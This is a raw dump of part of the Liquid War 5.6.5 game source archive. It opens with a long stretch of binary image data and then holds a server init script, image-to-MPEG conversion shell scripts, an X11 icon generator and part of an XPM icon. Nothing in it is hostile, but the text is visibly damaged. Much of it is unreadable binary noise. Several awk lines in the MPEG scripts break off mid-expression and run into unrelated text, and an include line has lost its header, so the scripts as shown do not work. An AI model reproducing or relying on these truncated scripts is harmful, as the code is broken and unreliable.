mmptvtmffjk]>362*&.9@<4-,4EVRGSd*97566*+47.%(,*(& #!&23KZfddcdcffd jkkfdhjZD<;3'(6;4+-:CB90/;VbRI\^?M16::665+08/)/-*-,*((++&(-$$87>JYQ[d__dfdachhXY\PK339.&*6:2*1>=2.9EC;7B7.7KOFCSahWObaN9M<79:68617/34.32/--.010,,11*+31()41&)47/&(69-.;@<./=;/*6CB4/@HA7>ZdUJYm`NVgQM/$=88778474354.254920/141,063,-6:/)5>9,(1;<.0?D?01?=/,:GG;8LYMCNhkTLajQPe_QMMC79788976817744543356410594.1:<4,3>?6,/;@8,2BD=03EE66IXTEF`hRH]nbMVj_O`iQN9(?F9>89;7?836998766557:8427=9317?>5/08@;11:KH>7EZUDF]kaLUlkQOilSOghOUfSWP-$ BXENB;F>;B>7;8::489:9667?=645CD?647HKE??L]ZNFUek_KOhm[MZqfPVnbO]kWPkYPY;'K>J_QFRYCAFGGLLFC@AB:@HNFB?@MVJCBFSaWNGNdkjZMO`qgSLYnaNSmkTSfiQUj^Re^KWA0+!0b_TP`ePJTUTTSIPU]UTQOJSa]ZQMTb&[PMOdpm`TTiifWP`miSRhp^PdlWQgdS\`KA?6,/ "'QaSJVZX\;^][`[SYPXb`dXXVUgheVQOWbmohWS\kjZTWfsnSTkpdT_l^PkeS\`@895,-, " =\dYPYZZ\_8W\b[[^W]QZg`dgTRQ\hkkj[RPfkeTO[ijfRVhp[S`k[PgbO`W60./,*3,E#'&$+>Y`VZ\YVV_\X`_RZa`_eWWY[Wglkg[VWR`np[WVaqnWQYnoYOemVTi]R^H70,)/6'K  !#+)$$,+?F^`baZ_Z]]f`[S`Y`g_efk]VUV`kghbQQeoogSXgo_QYjaP[dMIRJA:60,,/77I! &,)(,148APU[XR[^`TX_[_g^WSXXT\fbgk[__Ydfk]SQdl]QVgbSYaN69AJJD>:6448=4I #"$*154-+,)0@FCGQ_][S\YXT\`\\h_X__UdYZh]TW\b[\ZXe_NINWB4.5?HKFA><:;?=.G$&!$*,(%&(,6<93,HKD9306?GMJB604>GMJ@6//8BFJLIFEDDA!"(,045/+*),5==6.*,5=ABD@83//3:AGKF:105AJMKC813;EMLE:1-18BHKLJHEB?"%$%))&&+28961,+-5?EB;83..39AFGHE;206>HMJC812:ELNG=4./595249BHLH@601:DLNIA6./5;@FJLIF9-335662-*+2;@A>71,/64139ELMHA80/4;AFJJH*31-*'+26<@?81.02:CFGHD92/29AGID;417?FLMF?60/5<83./5=ADFFB=70/6?GJHA:85228CJMKE<5/06;AD?)-78-,,/9BEDA><6115:BJJF@5/158>FLLHB820.376!*9??=610/-.8DGIIB=7019BGKLHA;3-'&$%',+3CGD@?4/.,3Ko~_VVXZ[]\P./012345667899:;=F]ǹn[VWZ\^_cUD../0 1234566789:;=AL_v~m]WVX\^`aaba_qU5../0 123456789:;<=?DKTZZXUTWZ]`ada_1./0 12356789:;<=>ADHLNPQTX[_bdefd`qHx./ 012345679:;<=>?ACFHKNRUY]adfgghgfbbHx./ 0012346689;<=>?ADFHLORVZ^bfghiihge]x./ 001245679:<=>?@BDFILPSW[_dgijkjg`tv./'011345689;<>??@@??ACEGJMPTX\afjlmnoonkeno./ 01234668:;=>?@ACEGJMQUZ_fjmoqrspkkj./'01235679:<=?@@A@??ACFGJNSX^ejnqsuvwywvror/./(01245679;<>?@AA@??ACEGKPV\binqtwz{|}}|yr~1./ 01245689;=>@A@??@BEINT[ahmquw{}|tw;./*00134568:<>@ABCBA>>?BFKRX_fkpty{~~}~pJ./ 01234679;=?ACDA?>?CHOU\djosw{~xw_-.//0123567:AFKRY`gmrv{~x~o2-.0//0123569;>@CEFHHGD?@DIPV]djpuy}~pF--.'//013468:=@CEGIJKJEACGNV]binsw|~pe-.'//024679ADFILNPQQLGKT^flptw|wpg0-.'/02468:=@CFILOQSUUQMR^hnrvz| ~ppK-.9/013579AEGKNRUXZ\]\[_irw{~ {|ppi4-.)/02367:=@DFJMQTX[]`aabekqv{~ ywppg4-)..//13569AEGKOSWZ^aegjkloty|~ |qwpoI,.%/02469<@CFJNQUY\`dgilnorv{|tzt|o)V/../0257:>AEHLOSWZ]aehjmoqsw||ulxwo&Y4//0258;?CFJMQTWZ^aehkmpqsw}|ulxU|o$e500269=AEGJNQTWZ^aehkmprsw|{un}Uvo#b1126:>BEGKNQTWZ]aehjmprtv|~ztm|o#Y126:>BEGJNQTWZ]`dgjmoqsv{}ysk|om!F26:>BEGJMPTWZ]`dfilnqruz|wrlsttom;l759=ADGJMPSVY\_bfhkmoqty~}zupjgU|m F58<@CFILORUX[^aegjlnprv|~|wsnh`U|m X46;?BFHKNQTWZ]`bfhjmnquz~~|zuqlf]{mk h458=@DFJMPSVY[^adfiklosy}~|zwsojdZj{mmkD56:>BEHKNQTWY\_adfhjmqvz~~|zvtqmg`Wlj{kY367;?CFHLORTWZ\^adegjosw{~~}{zwtroje]Su{k@668;?CFILORTWY[^_adglqty|~~}|zwvtrolgaZO}Hrkb68;?CFHKNQSVXZ\]_einquy|~~|{zyvtsqolid]VI}H{kS5778;>BEGJMOQTUWX[`fjnruy{}~~}|{zywvtsqomlif`ZQI{{kM6889:>??@DHNSX]afilmnnonnmmlkjihfeb`^\ZXUOFN{pjZC;=>>??@ADHMSX\`eghijiihggfdba_][YWUROICj{pjkkohVKA>??@@AACGMRW\_abddeddbba`_]\ZXVTROMIEGwj kmpv{||yZA@A CGMRWY[\]^^_^^]]\[YXVUSQNLIFDBg~pj kmrytH@A BBCGMPSTVWXXYXXWVUTRQOMJHFDCBM~wohjkpywL@AABDFIKMOPQRSRRQPONLJHFECBBAAtUU~ofhjkr~|rT@BCDEFGIJKLKJJHGFEDBAZ|mfhkt~|pkGBCDEFEEDDCBAH|rkdfjp{~rkh_DBAF}{rmfkr|y{okhfdc[DABAL}U|twpkkjdca_ZFAC\j#|rrpopopp{_CAC\u(}[CA?Kf{(iPCABKYw{(tb_P_bt{~~rt|~|ww~j 9^ktrtw|~yvwyoc7!&Pcfovtrtry~{ |{rjfjjW-!$ " 9_acfhjfjrprpookv~ypprvwy{{vp okfdd; &" !Oacdfdafdcdcfd_c^dprpoprtrpooprvodccfjkopprp mhdO&$! *V^^_acdcfcafc_ffc^cjjhc^^chkfccdhkopokhhf\3$'! *T^^__^4_^cdcfcchfa^djjd_^afjkjfddfjmookjffd_V4&(&-- *R^5\\Z\_^c_^ffachhc__cfjjfcdfjjhhjhda^aW4 !*+(18! !4Sa^\ZZ\ZZ_^^ac^Z^acacdfc__ccU4"!%"'1/(/7 !   (ARa^^\Z\ _cc_^acP;,&""&&!"17.)46""  7%(47,0<6,6;-,  $(!$ !" $  8 !  #! %$ %"!,)$ '30&(5<7,0=<.,;=/,:;,09/1- %2',&"($"&$ :!! !!  $# &'$ *,'$$,53,(08<6*,:>4,3@9-1>7,5<1-<3-3! #*6.'/3&%(<,,'&%%&!%*,'&$$,1+&&(/72,),8<;3,,6@9/+3>6,/=<0/9;.0<6.96+1$ 76/-68-*00/)-050/--*/653-,07&4-,,8@=6//;;91-6=;..:?6-8=1.:8/46+%# -6.*1324;65364/3-276822109:90-,17=?:1/4<<3/19A>/0?4117@>1-2>?2,9=10;5.5) K #(667736355963/6369689<51006<::7-.8??:.29?6.3<7-48,).*%  I  %-042.45602646:61.22/4979<466279<5/-8=5.197.36, %**&#  "I $'&(-654/532/4644:62660833:5/257443286,),2%#)+(%#! !#"G ! "%&&4619411/623644921104463.1,3-"$(,*#"'*)&%$$%$!@  #$ #(*+2.+)&())+,-'!$&-.*$%+,'!$&**'&'#C"$!%('&!#)*& #(,*%#(,*$ %(*+)'&%$A"""$%&$  %(+( %*,+& !',+&  %)++*)&$ : $&%!  %'()&!#),*& !&+,("!&)++*'5 !$&$ $'(&#  %)+)$ &+,)%!$'*+(&8!$$# !&'('$  %(*+(# &+,)% !$'*)&3"$$  &'()&  %(*))&!$'+,(#!%&(&/"#" "%&('%#$(*)%  &*,+&" #$) %&&$#"!&**($ #'+,)% ! $#! &())&"  %(++)$ $'%$#!&)'%Uksuwvxxyx~}xUUltuvw y{|~UHmuvvw y{{||~~Hjrvwy{{|~~~|~|ysUqtuvwy{|~~|{{yywqUUlsvwy|~|{ywxqUmstvw{|~|ywxmisttvwy{~~{ywuxUmtvw{|~{ywxqUUrrtvwy{~~{ywU{srtvw y{||{ywv{U{tvwy{{|{{yw|UUtvwywUj{t vvlXI?8445?BUjw|jj{tnU;01/8Ppw|jj{tnK3014Ktw|jUW5019cw|UUL/012Qw|U;01/Tw|9/01/Nwvvwvw|9/01/Nvw|H8/01/Jrv|HE/01=xZ/012KvHy1/01223247HfHG/0112469:863114L}/0 115;FPTNB8313UY/0 13:Jh`F821<}410<UD./0 26@ShrkVC7210TU4./0 126=CFD>731040./0235664210THv./010:Hv./0/}v./0^s./0Rk./0Db./0;i./0bw0./0//4o9-./DwfE--./ExoV-./.Wxwc1-./EwfB-./BwfZ-./8pwff=-./1bof]/-./-XwffG-./-iofc;-./.1ywffa3-./.:off]3-.Ywf]9+-.2ofE+-.QtwfP.-.4xofU1-.jxUwdf]3-.-bUodfZ.-.-.}wddfU,-.-,swdfB-.-Otodfc2-..-6tUwdfB,-/UwdffQ,-vwdfa-,-vjvd;,-,,ZjvdU+,-,ivd8,-,uH~mdZ-,-,+xHvdJ*,-,1{vdE*,>{~kdE*,V{vcdJ,|{~kcdZ4*,;{~kccdU5+,_{~kcdffjbK=0,4tcd fhkptwytL-,\|kcd fhmr|~m7,:|rjcdfkr~~r<*,+lUU|jacdfo{yoE*,++K{j_accfo{wmf4,+4{ph_cfmw{ojdZ/,+4yypjcfow~t|wkjdca_W/,+:yU {rrmfhdaa_^_^W4+-Nj{pommoyU-+-N}u$~|L-+*8[}{$~|\?-+,8Ko{$~mUQ?QUm}{~~op{~{pp~j /Wfpoppy~|rpprh[/JZ^hpomv~|rt k_^a_O"  4ZZ\^Zcmkjjr~wkmoprtkd a^\\5  HZ\^ZXZZXZXZXWXW_kmk momkjjkmofZ^_ccddffddc_\H  #QXXZXZXXZXWZZXWX^^\XWWX\_\ZZ\^ccdca_^^V*    %QXWX\XX\\XWZ^\ZWWXZ^\ZZ^_cdcc_^^\ZQ, %KXWWUWXWWZZXX\\XWWXZ^^Z^_a^__^^ZXZP* %   /OZXXWWUSUSUWXXWUWXZZ^\ZO, $  ":MZXXWWUUSUUSUWXZXZZJ6% %"#  !-4IFMXWUWXW#XXKGK64$$& 9 $& $$ 8!% !($ & 8!&'$'&#4 $&")$ '#$& 4! "'$ ('&(&& &    0#! %'#&("!*& )%"' '!!  $!- $ %''!$*&!)$('&& '#&#  $#$%  " $"!$$%!%*($& $(&&*#%( &%"$  $ ! " #"!$!! %#% &(  %()& "''! &+(')%#(#'%"$ "%! !!"# "%!"# "!&$%&"&'""&'&!''& &)!$'!&%$    $ !" 3#" $#!$$#& !! &('&" $))! $*(  () &( &"#   #$!#!""&$!$!$&#%&'" $$'&&%%))& &)#!'$!% D ! !#$ #!#&#  "&%&'"## %&'"%(" &%!$H #"""! "$""&# ## %!!&" "$!"! %#    "$ &" $ !#!"& ""$! !"    7(  5   (7 !  )        t8mk@*=]]~~]]=*!FbbF!*]]*PP/kk//ww/#ww#]]88 ii ##==[[ `Ժ` w轚w wėw r秕r[[PP66wǗwPࡕP#Ѧ#|Գ|BΡBėT硕TTTF痕Fĕ**]ĕ]蕕**YY~Ǖ~ؕ4痕4PPkkٗԕ4֗48ٞ88꧕8PP]]]]]]Y痕Y88888ĕ8񗕕uu]]=Ǖ=蕕bb88 kk88T򕕕Tەgggޕg]ꗕ]88rrǕ6痕6 YꞕY $,rr"&((5wėw  &(((((AĚ !'(((((((E⶚ "'(((((((((EǤ "'(((((((((((E !&(((((((((((((9ww%((((((((((((((*0ii !'((((((((((((((*2Q%(((((((((((((((*LࡕL &((((((((((((((-xx !'((((((((((((((ޡ "'(((((((((((((\ǚ\ "'((((((((((((PĚ  &((((((((((((Ğ &(((((((((((9⽞ $(((((((((((Uγ   '((((((((((XԽX $''((((((((`(%'((((((((W   &'(((((((`  &'(((('(q  $'''''.z $''''2a"&''/_ #&+U $D & 44,,ddxx\\PP pp PP$xx$``(`ธ`((`hؠh`(liquidwar-5.6.5/misc/liquidward.in0000664000372000037200000001241013407756104016567 0ustar travistravis#! /bin/bash ############################################################################# # Liquid War is a multiplayer wargame # # Copyright (C) 1998-2018 Christian Mauduit # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # # This program is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # GNU General Public License for more details. # # # # You should have received a copy of the GNU General Public License # # along with this program; if not, write to the Free Software # # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # # Contact author : ufoot@ufoot.org # ############################################################################# # Script used to start Liquid War servers, and run them as UNIX daemons. # # Typically, you could place this file in /etc/init.d, so that servers # are started automatically when you boot your computer. # # Keep in mind that Liquid War is a *game* so its code might not be # 100% exploit proof, and anyway, since Liquid War comes with # NO WARRANTY at all, you simply run it at your own risks. # This is not to scare you, but rather to insist on the fact that # you should never run Liquid War servers as root. Run it under a # "basic" user, which has very few rights, since the only rights the # Liquid War daemon needs are: # - be able to bind on a socket > 1024 # - be able to append stuff to a log file # - be able to write its pid in a file # None of these requires to be logged as root, so don't do it. # # Also keep in mind that running this script with its default options # will make the Liquid War server you run on your computer register # itself on the meta-server on www.ufoot.org. So people will be aware # that you have a Liquid War server on your machine. While this is good # for people who try to automatically find other online fellows, # you might find this behaviour somewhat intrusive. Change the $PRIVACY # value if the default behaviour does not match your needs. # Clear our environment so we don't leak. unset `env | sed s/=.*//` prefix=@prefix@ NAME=liquidward PATH=/bin:/usr/bin:/sbin:/usr/sbin DAEMON=$prefix/games/liquidwar-server PIDFILE=/var/games/liquidwar/$NAME.pid LOGFILE=/var/games/liquidwar/$NAME.log # As start-stop-daemon seems to be a quite Debian-specific utility, # this script is in a way designed for Debian. If you want to run it # on a box which does not have start-top-daemon, you'll need to # edit the $START and $STOP commands to match your system. START="start-stop-daemon --start --background --make-pidfile" STOP="start-stop-daemon --stop" # maximum number of players who can connect on this server # by default: 6, which is the maximum NBPLAYERS=6 # privacy policy: # public -> the server is listed on www.ufoot.org # private -> the server does not register itself # by default, it is public, but you might want to change this PRIVACY=public # the password which client will have to give to be able # to connect themselves on this server # by default, no password is used PASSWORD= # the comment which will be associated to the server # by default, it contains the name of the machine, but you might # want to put your e-mail here for instance COMMENT="Public_Liquid_War_5_server_running_on_host_"`hostname` # the user which should be used to start the daemon # by default, it is set to "nobody:games", this assumes that # there's a games group on your machine which has sufficient rights # to write the pid and log files. If this is not the case, you'll # need to either create a games group (and maybe a nobody user as weel) # or change the $USER value, but remember: do *not* set it to root! USER=nobody:games # if you want the server to warn you whenever someone connects on it, # you might set up a callback script by uncommenting the line below. # You'll also need to edit and install the liquidwar_notify.sh script # manually CALLBACK=$prefix/games/liquidwar_notify.sh OPTIONS=" -"$NBPLAYERS" -"$PRIVACY" -log "$LOGFILE" -password "$PASSWORD" -comment \""$COMMENT"\" -callback "$CALLBACK export LANG=C export PATH test -f $DAEMON || exit 0 case "$1" in start) echo "Starting" $NAME $START --pidfile $PIDFILE --chuid $USER --exec $DAEMON -- $OPTIONS ;; stop) $STOP --pidfile $PIDFILE --chuid $USER rm -f $PIDFILE ;; restart) $0 stop sleep 1 $0 start ;; *) echo "Usage: $NAME {start|stop|restart}" exit 1 ;; esac exit 0 liquidwar-5.6.5/misc/mpeg_utils_imagestompeg.sh0000775000372000037200000001625513407756104021355 0ustar travistravis#!/bin/bash # # This is a script to convert a group of still-frame images to an mpeg animation. # The still frame images may be in any format ImageMagick's 'convert' utility handles. # # ./mpeg_utils_imagetompeg.sh is part of a group of unix shell scripts to aid in converting a group # of still-frame images to an mpeg-1 animation. # More information can be found at http://marc.me.utexas.edu/mpeg_tools.html. # # There is very little error handling. Incorrect inputs are likley to cause errors. # # This script acts as a main script that calls other scripts to automate the following # typical animation steps: # (1) convert images from their native format to ppm or yuv with: # ./mpeg_utils_imagetoppm.sh ./images/scenario1*.tif # ./mpeg_utils_imagetoyuv.sh ./images/scenario1*.tif # (2) make the encoder parameter file with: # ./mpeg_utils_make_mpeg2encode_parfile.sh ./images/scenario1*.ppm (use ppm images here to get image info properly in case padding was required) # ./mpeg_utils_make_mpeg2encode_parfile.sh ./images/scenario1*.tif (use tif images here if using yuv's to get image info properly) # (3) run the encoder with: # mpeg2encode mpeg2encode.par scenario1.mpg # # # This script relies upon: # convert (from ImageMagick, http://www.imagemagick.org) # identify (from ImageMagick, http://www.imagemagick.org) # mpeg2encode (from http://www.mpeg.org/MSSG/) # ./mpeg_utils_imagetoppm.sh (from http://marc.me.utexas.edu/tmp/mpeg_encoding_solution/) # pnmpad (from the netpbm-progs rpm) # ./mpeg_utils_make_mpeg2encode_parfile.sh (from http://marc.me.utexas.edu/tmp/mpeg_encoding_solution/) # awk # bash # # usage: # ./mpeg_utils_imagetompeg.sh mpegname imagenames # # examples: ./mpeg_utils_imagetompeg.sh sequence1.mpg /tmp/sequence_1*.tif # ./mpeg_utils_imagetompeg.sh test.mpg /tmp/frames*.bmp # ./mpeg_utils_imagetompeg.sh my_movie.mpg /tmp/images/movie_frame000*.gif # # limitations: # - Valid imput image formats are limited by ImageMajick's convert utility. # - Input files must end with an extemsion seprated by a '.', however awk's split() function # allows them to contain the '.' character elsewhere in the filename. # # Marc Compere # CompereM@asme.org # created : 01 October 2001 # modified: 05 April 2002 #echo $* # pick apart the first filename to make sure it's the name of an mpeg # ----------------------------------------------------- # this awk script provides the capability to correctly determine the filename extension # including the possibile case where there are multiple occurrences of the "." character # in the filename before the extension. names=(`echo $1 | awk '{num_fields=split($1,fields,".")} {basename=fields[1]} {for (i=2; i now using yuv) if [ "$intermediate_format" = "yuv" ]; # use './mpeg_utils_imagetoyuv.sh' then echo $0: "going to use ./mpeg_utils_imagetoyuv.sh" ./mpeg_utils_imagetoyuv.sh ${sequence_name[*]} else # use './mpeg_utils_imagetoppm.sh' echo $0: "going to use ./mpeg_utils_imagetoppm.sh" echo $0: " The ppm option is broken for some reason...(?)" echo $0: " It produces a core dump." echo $0: " MDC, 10 January 2002" ./mpeg_utils_imagetoppm.sh ${sequence_name[*]} fi # (2) make the encoder parameter file with: ./mpeg_utils_make_mpeg2encode_parfile.sh ${sequence_name[*]} # (3) run the encoder with: mpeg2encode mpeg2encode.par $mpeg_filename # intentionally leave the mpeg encoder parameter file #rm mpeg2encode.par fi liquidwar-5.6.5/misc/mpeg_utils_imagetoyuv.sh0000775000372000037200000001013313407756104021052 0ustar travistravis#!/bin/bash # # This is a script to convert a group of still-frame images to .ppm files suitable # for use with mpeg2encode (via Imagemagick's "convert" front-end). # # imagestoyuv is part of a group of unix shell scripts to aid in converting a group # of still-frame images to an mpeg-1 animation. # More information can be found at http://marc.me.utexas.edu/mpeg_tools.html. # # ImageMagick's 'convert' utility along with mpeg2encode is able to convert # a bunch of still-frames directly to an mpeg (or mpg) movie. However, for many frames # (i.e. over 200 or 300) you may run out of RAM or swapfile space for the conversion directly # from tif to yuv3 or ppm, then into the mpg. This script acts as an intermediate step to individually # convert images in a sequence to a ppm sequence that avoids running out of RAM or swapfile space. # # It relies upon: # /bin/sh # awk # convert (from ImageMagick, http://www.imagemagick.org) # # usage: # ./mpeg_utils_imagetoppm.sh images # # where 'images' is both the directory and image names of the original images to convert. # # examples: ./mpeg_utils_imagetoppm.sh ./tmp/*gif # ./mpeg_utils_imagetoppm.sh ./sequence1_*.jpg # ./mpeg_utils_imagetoppm.sh /tmp/images/movie_frame000*.tif # # limitations: # - Valid imput image formats are limited by ImageMajick's convert utility. # - Input files must end with an extemsion seprated by a '.', however awk's split() function # allows them to contain the '.' character elsewhere in the filename. # # Script comments: # Loop variable i successively becomes the name of image files in the specified directory. # awk -Ftif says to separate text fields with the string '.' and that is # how it extracts the base filename minus the extension. # # Marc Compere # CompereM@asme.org # created : 17 September 2001 # mofidied: 05 April 2002 #echo $* if [ "$1" = "" ]; # no input arguments then echo echo "You must specifiy a directory name." echo echo "Usage: ./mpeg_utils_imagetoyuv.sh images" echo "example: ./mpeg_utils_imagetoyuv.sh /tmp/sequence_1*.tif" $'\n\n' echo echo "TYPICAL ANIMATION STEPS:" echo " (1) convert images from their native format to ppm or yuv with:" echo " ./mpeg_utils_imagetoyuv.sh ./images/scenario1*.tif" echo " (2) make the encoder parameter file with:" echo " ./mpeg_utils_make_mpeg2encode_parfile.sh ./images/scenario1*.tif" echo " note: provide this script with the *source* filenames (not the yuv filenames)" echo " for 'identify' to work properly" echo " (3) run the encoder with:" echo " mpeg2encode mpeg2encode.par scenario1.mpg" $'\n\n' else filelist=($*) #echo ${filelist[*]} for i in ${filelist[*]}; do # this awk script provides the capability to correctly determine the filename extension # including the possibile case where there are multiple occurrences of the "." character # in the filename before the extension. name=(`echo $i | awk '{num_fields=split($1,fields,".")} {basename=fields[1]} {for (i=2; i ${name[0]}.yuv..." convert ${name[0]}.${name[1]} ${name[0]}.yuv done fi liquidwar-5.6.5/misc/xfixicon.sh0000775000372000037200000000237113407756104016265 0ustar travistravis#! /bin/sh # Generate X11 icon # Usage: xfixicon iconfile if test -z "$1"; then echo "Usage:" echo " xfixicon iconfile [-o outputfile]" echo "this will generate a C file that can be linked with your application" echo "to set the X11 icon automatically." echo "" echo "Options:" echo " -o Set the name of the output file. Default name is allegro_icon.c" exit fi outfile="allegro_icon.c" while !(test -z "$1"); do if (test "$1" = "-o"); then outfile=$2 shift else file=$1 fi shift done if !(test -e "$file"); then echo "File not found: $file" exit 1 fi if !(convert -transparent "magenta" "$file" "/tmp/allegico_xpm.xpm"); then echo "Conversion failed" exit 1 fi echo "#include " > $outfile cat /tmp/allegico_xpm.xpm | sed -e 's,static char,static const char,' >> $outfile echo "#if defined ALLEGRO_WITH_XWINDOWS && defined ALLEGRO_USE_CONSTRUCTOR" >> $outfile echo "extern void *allegro_icon;" >> $outfile echo "CONSTRUCTOR_FUNCTION(static void _set_allegro_icon(void));" >> $outfile echo "static void _set_allegro_icon(void)" >> $outfile echo "{" >> $outfile echo " allegro_icon = allegico_xpm;" >> $outfile echo "}" >> $outfile echo "#endif" >> $outfile rm /tmp/allegico_xpm.xpm liquidwar-5.6.5/misc/liquidwar_32x32.xpm0000664000372000037200000001651713407756104017476 0ustar travistravis/* XPM */ static char * liquidwar_32x32_xpm[] = { "32 32 329 2", " c None", ". c #00791F", "+ c #0001A0", "@ c #0000D7", "# c #0000FF", "$ c #0000FE", "% c #05D003", "& c #00FE00", "* c #01C901", "= c #024244", "- c #010098", "; c #0000E3", "> c #764001", ", c #00EA01", "' c #00F400", ") c #007310", "! c #00037A", "~ c #0000B4", "{ c #0000FA", "] c #0000F2", "^ c #F90000", "/ c #D00000", "( c #5C3500", "_ c #01EE00", ": c #00FF00", "< c #00861D", "[ c #00017B", "} c #0000A8", "| c #0000F5", "1 c #0003D2", "2 c #009C40", "3 c #FA0000", "4 c #FF0000", "5 c #B70000", "6 c #562800", "7 c #00DD00", "8 c #00F800", "9 c #008B1D", "0 c #000780", "a c #0000AA", "b c #0000F6", "c c #0100FC", "d c #0105A7", "e c #00991F", "f c #FD0000", "g c #F70000", "h c #950000", "i c #3C3800", "j c #00D700", "k c #00ED00", "l c #00642B", "m c #000082", "n c #0000BA", "o c #0000FD", "p c #0000F0", "q c #020383", "r c #019D11", "s c #00FC00", "t c #FB0000", "u c #FE0000", "v c #C00000", "w c #2E5300", "x c #00DF00", "y c #004F3C", "z c #00008C", "A c #0000D3", "B c #0000F7", "C c #000A7A", "D c #019B06", "E c #00FD00", "F c #BA0000", "G c #1C5900", "H c #00D400", "I c #00F500", "J c #004C42", "K c #0000A2", "L c #0000EE", "M c #002264", "N c #008F00", "O c #01EB00", "P c #FC0000", "Q c #A20100", "R c #135501", "S c #00B100", "T c #00FA00", "U c #00D100", "V c #003250", "W c #0000D5", "X c #0000CF", "Y c #002F49", "Z c #00AF00", "` c #00F700", " . c #00F200", ".. c #E20000", "+. c #7D0400", "@. c #0A4802", "#. c #00A500", "$. c #00FB00", "%. c #00A900", "&. c #002560", "*. c #0000FC", "=. c #000097", "-. c #005617", ";. c #00D500", ">. c #02FF00", ",. c #00CE03", "'. c #00B400", "). c #F80001", "!. c #C70000", "~. c #5F0700", "{. c #074900", "]. c #00AD00", "^. c #009401", "/. c #002167", "(. c #0000EF", "_. c #0000C7", ":. c #0000DB", "<. c #0000D6", "[. c #001674", "}. c #007309", "|. c #00D000", "1. c #01FF00", "2. c #00D800", "3. c #006870", "4. c #C30000", "5. c #41050A", "6. c #035004", "7. c #00C700", "8. c #009001", "9. c #001654", "0. c #00009F", "a. c #0000D4", "b. c #0000C9", "c. c #001E6D", "d. c #002C59", "e. c #002A64", "f. c #0009A4", "g. c #0000B8", "h. c #0000A1", "i. c #00353F", "j. c #00E400", "k. c #064E4C", "l. c #B50000", "m. c #501805", "n. c #026E02", "o. c #00C902", "p. c #002042", "q. c #000079", "r. c #000093", "s. c #004245", "t. c #008502", "u. c #008003", "v. c #007800", "w. c #004F2C", "x. c #00028C", "y. c #00016C", "z. c #004A16", "A. c #00CA00", "B. c #01E600", "C. c #005B26", "D. c #F40000", "E. c #AD0000", "F. c #4A3500", "G. c #00A200", "H. c #005025", "I. c #00005D", "J. c #003436", "K. c #008700", "L. c #00A400", "M. c #00BA00", "N. c #009E00", "O. c #00262C", "P. c #001352", "Q. c #007B04", "R. c #00E000", "S. c #01C400", "T. c #003A43", "U. c #B30000", "V. c #343400", "W. c #01FB00", "X. c #00D301", "Y. c #009C0C", "Z. c #009802", "`. c #00EA00", " + c #00D900", ".+ c #007304", "++ c #003A18", "@+ c #008200", "#+ c #00EF00", "$+ c #019A00", "%+ c #002C54", "&+ c #BB0000", "*+ c #382800", "=+ c #008D00", "-+ c #00A700", ";+ c #00D600", ">+ c #00C800", ",+ c #018406", "'+ c #001F64", ")+ c #F60000", "!+ c #BC0000", "~+ c #650C00", "{+ c #055600", "]+ c #00F000", "^+ c #00DA00", "/+ c #00F100", "(+ c #01CA00", "_+ c #007315", ":+ c #000AB5", "<+ c #EB0000", "[+ c #A20000", "}+ c #2F2200", "|+ c #00AC00", "1+ c #00F900", "2+ c #048800", "3+ c #087600", "4+ c #00AB00", "5+ c #02B900", "6+ c #005C2C", "7+ c #790000", "8+ c #0F6E00", "9+ c #00E500", "0+ c #00DE00", "a+ c #00D200", "b+ c #009700", "c+ c #027E00", "d+ c #0D6700", "e+ c #3E2700", "f+ c #4B1100", "g+ c #066900", "h+ c #00C500", "i+ c #00C200", "j+ c #018D00", "k+ c #002A72", "l+ c #0000E7", "m+ c #C90000", "n+ c #590F00", "o+ c #296D00", "p+ c #078900", "q+ c #028700", "r+ c #096C00", "s+ c #2E3100", "t+ c #591C00", "u+ c #740C00", "v+ c #760000", "w+ c #730000", "x+ c #443700", "y+ c #019500", "z+ c #00C100", "A+ c #00EC00", "B+ c #00E100", "C+ c #00B900", "D+ c #008900", "E+ c #015D35", "F+ c #0005E0", "G+ c #A70000", "H+ c #820000", "I+ c #771200", "J+ c #641D00", "K+ c #760F00", "L+ c #920000", "M+ c #9B0000", "N+ c #940000", "O+ c #930000", "P+ c #900000", "Q+ c #820108", "R+ c #113C19", "S+ c #008400", "T+ c #00A600", "U+ c #006D00", "V+ c #015B24", "W+ c #000AC4", "X+ c #F30000", "Y+ c #C10000", "Z+ c #A40000", "`+ c #E80000", " @ c #E30000", ".@ c #D40000", "+@ c #8F0000", "@@ c #540028", "#@ c #04036B", "$@ c #003B2B", "%@ c #00640D", "&@ c #006A09", "*@ c #00650A", "=@ c #013A32", "-@ c #0009B5", ";@ c #F20000", ">@ c #D60000", ",@ c #700000", "'@ c #230041", ")@ c #0000AB", "!@ c #0000CC", "~@ c #000BB4", "{@ c #00119B", "]@ c #000E8E", "^@ c #0100CB", "/@ c #0400F8", "(@ c #FA0002", "_@ c #F10000", ":@ c #4C001E", "<@ c #0600B6", "[@ c #0100FF", "}@ c #0100F5", "|@ c #FA0001", "1@ c #F50000", "2@ c #56000A", "3@ c #12008E", "4@ c #0000FB", "5@ c #0100FD", "6@ c #EF0000", "7@ c #C60000", "8@ c #59000F", "9@ c #110078", "0@ c #0100FE", "a@ c #E70000", "b@ c #910000", "c@ c #5D000B", "d@ c #2F0049", "e@ c #0C00A6", "f@ c #0000DE", "g@ c #F30001", "h@ c #EC0000", "i@ c #600024", "j@ c #0C0076", "k@ c #0000B2", "l@ c #0000DF", "m@ c #0100F8", "n@ c #0000F4", " ", " ", " . + @ # # $ # $ $ ", " % & & * = - ; # # $ # # # $ ", " > , & & ' ) ! ~ { # $ $ $ $ # $ ] ", " ^ / ( _ : & : < [ } | # # $ $ $ # # 1 2 ", " 3 4 5 6 7 : : 8 9 0 a b # $ # # # # c d e : ", " f g h i j : : k l m n o # $ $ $ $ # p q r : s ", " t u 4 v w x : : ' y z A # # $ # o $ # B C D & E ", " ^ f u 4 F G H : : I J K L # # $ $ o o # { M N O & s ", " P f u f Q R S T : U V W # $ # # # $ # o X Y Z ` & . ", " P f u 4 ..+.@.#.s $.%.&.A *.# # $ # # # L =.-.;.: >.,.'. ", " ).u u 4 !.~.{.].: ' ^./.~ (.# ; _.:.] b <.[.}.|.: 1.2.3. ", " t u u 4 4.5.6.7.: T 8.9.0.a.b.c.d.e.f.g.h.i.].I : 1.j.k. ", " u f 4 3 l.m.n.7 : : 